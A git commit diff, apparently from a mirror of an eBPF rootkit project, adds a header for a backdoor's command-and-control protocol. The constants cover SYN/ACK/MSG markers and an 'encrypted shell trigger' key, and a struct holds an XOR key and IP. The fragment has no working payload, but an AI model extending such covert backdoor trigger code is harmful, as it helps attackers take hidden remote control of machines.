mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-25 02:43:07 +08:00
Added V1 command sending via secret trigger on backdoor
This commit is contained in:
@@ -1,6 +1,8 @@
|
||||
#ifndef __BPF_CC_H
|
||||
#define __BPF_CC_H
|
||||
|
||||
#include "protocol.h"
|
||||
|
||||
#define CC_PROT_SYN "CC_SYN"
|
||||
#define CC_PROT_ACK "CC_ACK"
|
||||
#define CC_PROT_MSG "CC_MSG#"
|
||||
|
||||
@@ -1,6 +1,16 @@
|
||||
#ifndef __PROTOCOL_H
|
||||
#define __PROTOCOL_H
|
||||
|
||||
//V1
|
||||
|
||||
//Value added to K3 to define command to send
|
||||
#define CC_PROT_K3_TOTAL_DEFINED_KEYS_V1 1
|
||||
#define CC_PROT_K3_ENCRYPTED_SHELL_TRIGGER_V1 0x00
|
||||
|
||||
|
||||
|
||||
|
||||
//V2
|
||||
struct trigger_t {
|
||||
unsigned char xor_key;
|
||||
unsigned int ip;
|
||||
@@ -11,4 +21,5 @@ struct trigger_t {
|
||||
};
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user